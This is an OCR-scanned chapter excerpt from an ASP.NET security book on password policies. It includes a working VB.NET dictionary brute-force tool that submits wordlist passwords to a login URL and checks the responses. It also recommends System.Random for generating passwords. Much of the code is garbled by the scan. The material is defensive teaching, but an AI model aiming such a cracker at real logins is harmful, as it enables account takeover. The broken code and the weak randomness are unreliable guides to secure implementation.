Professional ASP.NET Security - Jeff Ferguson
.pdfImplementing Password Policies
This method checks the length of the password and displays the error message when the length of the password is less than seven characters.
You should allow the users to enter a long password, since the longer the password, the harder it is to crack.
Requiring Mixed Case Password
Requiring mixed cases in the password also makes them harder to crack. We can get this functionality by using the custom validator at the server side. We could construct our mixed-case checking code in the following way:
bool validateMixedCase(String sPWD)
bool foundLower, foundUpper; foundLower=false; foundUpper=false;
for (int 1=0; i< sPWD.Length; i++)
if (foundLower==false) foundLower=isLower(sPWD[i]);
if (foundUpper==false) foundOpper=isUpper(sPWD[i]);
if (foundLower==true && foundUpper==true) return true ;
else
return
false; }
We loop through all the characters in the string, and check whether the current character is an upper or lower case character. Since C# doesn't support isLower and isUpper methods, we've built our own methods for this:
bool isLower(char ch)
if (ch >= 'a1 && ch <= ' z 1 ) return true;
else
return false;
bool isUpper(char ch)
if (ch >= 'A' && ch <= 'Z1) return true;
else
return false;
93
Requiring Numbers and Symbols
Although allowing many characters for the password can make it more secure, and hard to guess, it could leave us open to other types of attack. So it is necessary to limit the number of characters that are supported by passwords. Usually, the characters A-Z, a-z, 0-9, and a few special characters (!, @, #, $, ", *, ?, /, \) are safe to use. To check for numbers and symbols, we're going to modify the validateMixedCase method a little bit:
bool validateMixedCase(String sPWD)
bool foundLower, foundUpper, foundNumeric, foundSymbol; foundLower=false;
foundUpper=false;
foundNumeric=false,•
foundSymbol=false;
for (int i=0; i< sPWD.Length; i++)
if (foundLower==false) foundLower=isLower(sPWD[i]);
if (foundUpper==false) foundUpper=isUpper(sPWD[i]);
if (foundNumeric==false) foundNumeric=isNumeric(sPWDti]); if
(foundSymbol==false)
foundSymbol=isSpecialCharacter(sPWD[i]);
if (foundLower==true && foundUpper==true && foundNumeric==true && foundSymbol==true) return true; else
return
false; }
Since C# doesn't support isNumeric and isSymbol methods, we'll to write our own methods to differentiate between numerals and other types of symbols:
bool isNumeric(char ch)
if (ch >= '0' && ch <= '9') return true;
else
return false;
bool isSpecialCharacter(char ch) { if (ch == '!')
return true; else if (ch == '@') return true; else if (ch == '#')
94
Implementing Password Policies
return true else if (ch == '$ ) return true else if (ch == '" ) return true
else if (ch == '* ) return true else if (ch == '? ) return true
else if (ch == '/ ) return true
else if (ch == ' \V ) //Watch for the special character return true
else
return false;
If you are storing passwords in a database or Active Directory, check the special characters supported by the password store. The best way to restrict the password characters is by using regular expressions. Remember not to allow characters that may be used in script attacks.
If you want to learn more about regular expressions, then you may be interested in "Mastering Regular Expressions - Powerful Techniques for Perl and Other Tools" (ISBN: 1-56592-257-3) By Jeffrey E. F. Friedl from Oreilly Associates. Here is few other good links for information on Regular Expressions:
Q Introduction to Regular Expressions
http://msdn.microsoft.com/scripting/default.htm7/scripting/vbscript/doc/reconlntroduction
ToRegularExpressions.htm
Q Regular Expression Syntax http://msdn.microsoft.com/scripting/default.htm7/scripting/vbscript/doc/jsgrpregexpsyntax.htm
a HOW TO: Match a Pattern Using Regular Expressions and Visual Basic .NET (Q301264) http://support.microsoft.com/default.aspx?scid=kb;EN-US;q301264
Q Learning to Use Regular Expressions by Example http://www.phpbuilder.com/columns/dario1 999061 6. php3
Q PHP and Regular Expressions 101 http://www.webreference.com/programming/php/regexps/
O |
Using Regular Expressions |
|
http://etext.lib.virginia.edu/helpsheets/regex.html Q |
Regular Expression |
|
Library |
http://regxlib.com/ |
|
Running a Dictionary Check on New Passwords
Tools such as LOphtCrack (LOphtCrack is available at http://online.securityfocus.com/tools/1005) use directory check methods to simulate passwords. This means that each of the tools will have its own directory of characters or words that it will use to crack the password. For example, suppose your login page accepts the login parameters in the URL:
Login.Aspx?UserID=Ssivakumar&Password=Checkthisout The directory check tool
could try to fake the URL with different combination of passwords:
Login. Aspx?UserID=Ssivakumar&Password=lCheckthisout
Login.Aspx?UserID=SsivakumarkPassword=2Checkthisout
Login.Aspx?UserID=Ssivakumar&Password=3Checkthisout
Login. Aspx?UserID=Ssivakumar&Password=4Checkthisout
Login.Aspx?UserID=Ssivakumar&Password=5Checkthisout
This is called a Brute Force Attack. In this way, we can also simulate the HTTP POST method to send data:
POST Login.Aspx HTTP/1.0 |
|
|
|
|||
Accept: |
image/gif, |
image/x-xbitmap, |
image/jpeg, |
image/pjpeg, |
*/* |
|
Content-Type: |
application/x-www-form-urlencoded |
|
|
|||
User-Agent: Mozilla/4.0 (compatible; |
MSIE 6 . 0; |
Windows XP; |
DigExt) |
|||
Host: |
www.website.com |
|
|
|
|
|
Pragma: |
no-cache |
|
|
|
|
|
Cookie: |
B=8ck8ilun4jtj7 |
|
|
|
UserID=Ssivakumar&Password=lCheckthisout
UserID=Ssivakumar&Password=2Checkthisout
User ID=SsivakumarScPassword=3Checkthi sou t
The result of this is that if you've used any common words in your password, then it will be very easy to crack.
Let's build a small application that simulates passwords. Our .NET application is going to get passwords from a text file and use the passwords to crack the web application. Here is the ASP.NET web application source.
Sub Page_Load(Src |
As Object, |
E As |
EventArgs) Dim strLogin, |
strPwd as |
|
String |
|
|
strLogin = |
Request.QueryString("txtUser")-ToString() strPwd |
|
= Request.QueryString("txtPwd"}.ToString() if strLogin = |
|
"SSIVAKUMAR" |
and |
strPwd = |
"DontTellAnyOne" |
Then |
||
|
IbllD.Text = "Hello |
" |
& |
strLogin |
& |
|
|
|
", |
Welcome |
To |
Custom Login |
|
||
|
Application" Else |
|
|
|
|
|
|
|
IbllD.Text |
= |
"Authentication |
failed! |
Please check the login |
||
name |
and the password." |
|
|
|
|
|
|
|
End if |
|
|
|
|
|
|
End |
Sub |
|
|
|
|
|
|
|
In the page load event, we read the query string values for txtUser and txtPwd parameters. If the |
|
username is equal to "SSIVAKUMAR" and the password is equal to "DontTellAnyOne" then we'll |
|
display a welcome message to the user, otherwise we'll display an error message. Here is what the |
96 |
application looks like in IE. |
|
Implementing Password Policies
II Custom Login - Microsoft Internet Explon |
|
|
|
|
|
||||
• File |
Edit |
View |
Favorites |
Tools |
Help |
1 — |
6 '—it |
-I Q |
|
Back - "* |
- Q B) tal 1 ^Search |
[^FavoritM |
|
|
- |
||||
|
|
|
|
|
|
^_J |
t^ _i!3 |
.rJ »?S. Address I |
|
http: //bcalhost/ch2/Logtn, aspX?txtUser-SSIVAKUMAR&txtPwd=DontTeHAnyOne |
+\ ^Go |
. Lffiks ; |
Custom Login
Hello SSIVAKUMAR, Welcome To Custom Login Application
J
j \ D a n e ' " |
~~~I |
I |
I |
'B Local |
intranet |
|
|
|
|
Let's build a Windows Form application that simulates the above task and finds the password of the web application. We'll construct our interface in the following way:
We read the web application path and the username that we're trying to crack from the user. Then we read the passwords from the Password, txt file in the application path and try passwords one by one with the specified username.
Let's double-click on the Go! button and add the following code.
Private |
Sub btnGo_Click(ByVal |
sender As |
System.Object, |
ByVal e |
|||||
As |
_ System.EventArgs) |
Handles |
btnGo.Click If |
txtURL.Text |
|||||
<> |
"" |
And |
txtParam.Text <> |
"" |
Then Dim strPass As |
||||
String = |
"" |
|
|
|
|
|
|
|
|
|
IblStart.Text |
= |
DateTime.Now.TimeOfDay.ToString() |
||||||
|
EnableControls(False) |
|
|
|
|||||
|
strPass |
= |
ReadPasswordFile("Passwords.txt") |
||||||
|
If |
strPass |
= |
"" |
Then IblPass.Text = |
|
|||
|
"Unable |
to |
find the password!" |
|
Q7
Else IblPass.Text = strPass End If
EnableControls(True)
IblEnd.Text = DateTime.Now.TimeOfDay.ToStringl) End If End Sub
We disable the textboxes and the go button first by calling the EnableControls method. Then we display the start time in a label. After that, we call the ReadPasswordFile method. If an empty string is returned by the ReadPasswordFile method then we know we're unable to crack the password and the user didn't choose the common words found in the Password. Txt file. If we found the password then we'll display it in the label control and we'll display the end time.
The ReadPasswordFile method is constructed in the following way:
Function ReadPasswordFile(ByVal |
strFileName) |
As |
|
String Dim |
strWriter As |
StringWriter = |
New |
StringWriter() Dim strPass As String Dim |
strPath As |
||
String Dim intCounter As |
Integer |
|
|
intCounter |
= 1 |
|
|
' Remove |
the bin from the Executable' s path strPath |
=Application.ExecutablePath.Substring(0, _
Application.ExecutablePath.IndexOf("bin") - 1)
We get the path of the application directory here. Since the Application. ExecutablePath property returns path of the bin folder, we have to trim the bin folder from the path.
Try
Dim objStrmRds As StreamReader = File.OpenText(strPath & _ "\"&strFileName)Do
strPass = objStrmRds.ReadLine()
Then we open the file using the StreamReader object and reading the file line by line. Then we build the URI dynamically using the URL, username, and password and passing it to the crackPassword method.
If strPass <> Nothing Then |
|
|
||
If |
crackPassword(txtURL.Text |
& |
"?txtUser=" & _ |
|
txtParam.Text |
& "&txtPwd=" |
& |
strPass) Then |
|
Exit |
Do End |
If |
|
|
If the crackPassword method returns True then we know this is the password. Therefore, we quit from the Do loop and returning the password back to the Go buttons click event.
98
Implementing Password Policies
IstPwd.Items.Add(strPass) IblCounter.Text |
= |
|
||||||
intCounter.ToStringf) IblCounter.Update() |
|
|
||||||
intCounter |
+= |
1 End |
If |
|
|
|
||
Loop |
Until |
strPass |
= |
|
|
|
|
|
Nothing Catch |
E As |
Exception |
|
|
|
|
||
MessageBox.Show("There was |
an |
error reading |
the password file |
'" |
||||
& _ |
|
|
|
|
|
|
|
|
strFileName |
& |
, |
"File |
Read Error", |
MessageBoxButtons.OK, |
|
||
_ |
|
|
|
|
|
|
|
|
MessageBoxIcon.Stop) End |
|
|
|
|
||||
Try Return strPass End |
Function |
|
|
|
|
|
Otherwise, we add the tried password to the ListBox and increment the counter variable to count the number of passwords that we've tried.
Here is the code for the crackPassword method. The crackPassword method uses the WebRequest and WebResponse classes found in the System.Net namespace.
Function |
crackPassword(ByVal |
url As String) As |
Boolean Dim objWebRspn As |
WebResponse Dim blnFound |
|
As |
Boolean |
|
blnFound = False
Try
Dim objWebReq As WebRequest Dim
ReceiveStream As Stream Dim objEn
As Encoding Dim objStmRdr As
StreamReader
objWebReq = WebRequest.Create(url) objWebRspn = objWebReq.GetResponse() ReceiveStream = objWebRspn.GetResponseStream() objEn = System.Text.Encoding.GetEncoding("utf-8") objStmRdr = New StreamReader(ReceiveStream, objEn)
Dim chrReadBuffer(256) As Char
Dim chrBufferCntr As Integer = objStmRdr.Read(chrReadBuffer, 0, 256)
We create a WebRequest object and pass the URL to its constructor. Then we use the GetResponse method of the WebRequest object to read the return data from the web page and store into the WebResponse object.
Do While |
chrBufferCntr |
> 0 |
Dim |
strTemp As |
String = New String(chrReadBuffer, |
|
0, _ chrBufferCntr) |
After doing the formatting, we read the 256 characters from the output stream. If the current character contains the word "Hello", then we know that the authentication was successful.
unapier o
'Check if the stream object has the word "Hello" in it. If 'so then we know the authentication is sucessfully happened 'and the current password is the one that can be used to get 'into the system. If strTemp.IndexOf ( "Hello") > 0 Then
blnFound = True Exit Do
End If
Then we return True back to the crackPassword method and we quit from the Do loop. Otherwise, we move to the next part of the output stream.
chrBuf ferCntr = objStmRdr .Read(chrReadBuf fer , 0, 256) Loop Catch Exc As Exception
Mes sageBox. Show ( "The request URI could not be found or was malformed"
, "URL Error", MessageBoxButtons .OK, MessageBoxIcon. Stop, _
MessageBoxDefaultButton.Buttonl) End Try
'If the WebResponse object is not nothing then close it If Not objWebRspn Is Nothing Then objWebRspn. Close ()
'Rturn data Return blnFound End Function
Let's run the .NET Crack application and see how the application works:
.NET Creak Parameter-
ittp.j'/localhosrvCHlfc, Login A.,p
Password: |DQntTellAnyOne
Tried Passwords:
MyPassword |
CheckThisout |
ThisisToomuch |
Checkthisout |
IPassword |
|
[YourPassword |
checkthisout |
ZMyPassword |
asswordChange |
TellMe |
3YourPassword |
GetP as sword |
TellMeNow |
4PasswordChange |
MePassword |
Whatisit |
SGetPassword |
ChangePassword |
Comeon |
6GetMePassword |
tfhatisit |Secret |
Youcan'thide |
7ChangePassword |
MySecret Check |
Youcan'thidefromme |
BWhatisit |
eckThisOut |
Thisisit |
9Secret |
|
Igotit |
MySecretl |
|
NoItFailed |
CheckZ |
As you can see, the password DontTellAnyOne was present in the Password, txt file, so that our application was able to find the password. More sophisticated applications will use common words from a directory and number and letter combinations.
100
Implementing Password Policies
This application simulated the HTTP GET method. We can also use the HTTP POST method with the WebRequest object by using the Method property.
Requiring Password Updates
We should suggest that users change their password frequently: once every three months, for instance. We could use a simple table in which will store the user ID, username, password, the last time the password was changed, and the locked time stamp.
Column Name
UserlD
UserName
Password
LastTimePasswordChanged
NeedToChangePassword
GUID
Locked
LockedTimeStamp
When we authenticate the user, we can check the time stamp. If the interval between the time stamp and the current time is greater than a specified time period, then we should force users to change their passwords. We'll look at the NeedToChangePassword, GUID, Locked, and LockedTimeStamp columns a little later.
When we force the users to change their passwords, we shouldn't allow them to use any of their three prior passwords. We can achieve this functionality by keeping track of the user's passwords in a history table.
Column Name
UserlD
Password
InstanceNumber
Every time the user changes their password, we should place the old password in this table, with an instance number.
UserlD |
Password |
InstanceNumber |
|
|
|
21234 |
#434dfdgdg@4! |
1 |
21234 |
JfdKLD#$@@# |
2 |
21234 |
!232kjfDFSDFt$%SS@@#24 |
3 |
|
|
|
Table continued on following page
1O1
UserlD |
Password |
||
|
InstanceNumber |
||
21234 |
Kmdfd342@455#DSqqw |
||
21234 |
|||
|
|
||
|
4 #ikk5212mlf3085 |
||
|
|
|
|
Make sure you only |
ever store the hashed or encrypted version of a password. |
||
|
|
|
When the user changes a password, get all the previous passwords sorted in the descending order of the InstanceNumber column, then compare the new password with the last three passwords. If they match, then notify the user that they can't use any of their last three passwords.
Choosing Random Passwords for Users
Sometimes, we have to assign a random password for users. This could be when the user account is created, or when the user has forgotten their password. We can use the System.Random class to generate random passwords, as in the following example:
<script languages"C#" runat="server">
void InsertData_Click(Object sender, EventArgs e)
{
System.Random oRand = new System.Random)); IblRandom.Text = Convert.ToString(oRand.Next()); }
</script>
Helping Users Who have Forgotten their Password
Users will often forget their passwords and pester administrators to let them back in. However, we need to take into account that a hacker might try requesting a 'lost' password. We need to put security checks in place to prevent passwords from falling into the wrong hands.
E-Mailing New Passwords to Users
The best way to deal with this problem is assign a new random password to the account, and send the password to the user's primary e-mail address. This will ensure that we minimize the risk that a new password will be exposed. We can also create a new column called NeedToChangePas sword in the users table, enabling the flag to True, in order to indicate that when the user next logs in, they must change the password. This will allow them to choose their own personal password, which will be easier to remember.
E-Mailing a 'change password' Link
When we send the password to the user, we should also send a special URL that includes some special values. For example, we could generate a new random number or GUID (Globally Unique Identifier), and pass it as a part of the URL. The System. Quid class can be used to generate GUID numbers.
102